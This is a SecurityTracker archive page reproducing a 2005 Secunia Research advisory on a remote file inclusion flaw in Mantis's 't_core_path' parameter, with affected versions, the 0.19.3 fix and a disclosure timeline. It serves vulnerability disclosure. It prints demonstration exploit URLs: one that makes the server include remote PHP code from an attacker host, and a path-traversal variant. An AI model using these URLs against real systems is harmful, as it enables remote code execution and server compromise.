SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Welcome to SecurityTracker!
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Sign Up!





Category:  Application (Generic)  >  Mantis Vendors:  mantis.sourceforge.net
Mantis Include File in 't_core_path' Parameter Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1015110
SecurityTracker URL:  http://securitytracker.com/id?1015110
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Oct 26 2005
Impact:  Execution of arbitrary code via network, User access via network
Fix Available:  Yes   Vendor Confirmed:  Yes  
Advisory:  Secunia Research
Version(s): Prior to 0.19.3; Tested on 0.19.2 and 1.0.0rc2
Description:  A vulnerability was reported in Mantis. A remote user can execute arbitrary code on the target system.

The 'bug_sponsorship_list_view_inc.php' script does not properly validate user-supplied input in the 't_core_path' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location or from the local system. The PHP code, including operating system commands, will run with the privileges of the target web service.

Some demonstration exploit URLs are provided:

http://[target]/bug_sponsorship_list_view_inc.php?
t_core_path=http://[host]/[file].php?

http://[targ et]/bug_sponsorship_list_view_inc.php?
t_core_path=../../../../../../../[file]%00

The "register_globals" setting must be enabled for this exploit to work.

The vendor was notified on September 19, 2005.

Andreas Sandblad of Secunia Research discovered this vulnerability.

Impact:  A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:  The vendor has issued a fixed version (0.19.3), available at:

http://sourceforge.net/project/showfiles.php?group_id=14963

Vendor URL:  www.mantisbt.org/ (Links to External Site)
Cause:  Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Reported By:  Secunia Research <vuln@secunia.com>
Message History:   None.


 Source Message Contents

Date:  Wed, 26 Oct 2005 17:41:32 +0200
From:  Secunia Research <vuln@secunia.com>
Subject:  Secunia Research: Mantis "t_core_path" File Inclusion Vulnerability

 
======================================================================

                     Secunia Research 26/10/2005

         - Mantis "t_core_path" File Inclusion Vulnerability -

======================================================================
Table of Contents

Affected Software....................................................1
Severity.............................................................2
Vendor's Description of Software.....................................3
Description of Vulnerability.........................................4
Solution.............................................................5
Time Table...........................................................6
Credits..............................................................7
About Secunia........................................................8
Verification.........................................................9

======================================================================
1) Affected Software

Mantis 0.19.2 and 1.0.0rc2.

Other versions may also be affected.

======================================================================
2) Severity

Rating: Highly critical
Impact: System access
Where:  Remote

======================================================================
3) Vendor's Description of Software

Mantis is a web-based bugtracking system. It is written in the PHP 
scripting language and requires the MySQL database and a webserver.

Product link:
http://www.mantisbt.org/

======================================================================
4) Description of Vulnerability

Secunia Research has discovered a vulnerability in Mantis, which can 
be exploited by malicious people to compromise a vulnerable system.

Input passed to the "t_core_path" parameter in 
"bug_sponsorship_list_view_inc.php" isn't properly verified, before 
it used to include files. This can be exploited to include arbitrary 
files from external and local resources.

Examples:
http://[host]/bug_sponsorship_list_view_inc.php?
t_core_path=http://[host]/[file].php?
http://[host]/bug_sponsorship_list_view_inc.php?
t_core_path=../../../../../../../[file]%00

Successful exploitation requires that "register_globals" is enabled 
(not recommended setting).

The vulnerability has been confirmed in versions 0.19.2 and 1.0.0rc2. 
Other versions may also be affected.

======================================================================
5) Solution

Update to version 0.19.3.
http://sourceforge.net/project/showfiles.php?group_id=14963

======================================================================
6) Time Table

19/09/2005 - Vulnerability discovered.
19/09/2005 - Vendor notified.
11/10/2005 - Vendor issues new version.
26/10/2005 - Public disclosure.

======================================================================
7) Credits

Discovered by Andreas Sandblad, Secunia Research.

======================================================================
8) About Secunia

Secunia collects, validates, assesses, and writes advisories regarding
all the latest software vulnerabilities disclosed to the public. These
advisories are gathered in a publicly available database at the
Secunia website:

http://secunia.com/

Secunia offers services to our customers enabling them to receive all
relevant vulnerability information to their specific system
configuration.

Secunia offers a FREE mailing list called Secunia Security Advisories:

http://secunia.com/secunia_security_advisories/

======================================================================
9) Verification

Please verify this advisory by visiting the Secunia website:
http://secunia.com/secunia_research/2005-46/advisory/

======================================================================



 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2005, SecurityGlobal.net LLC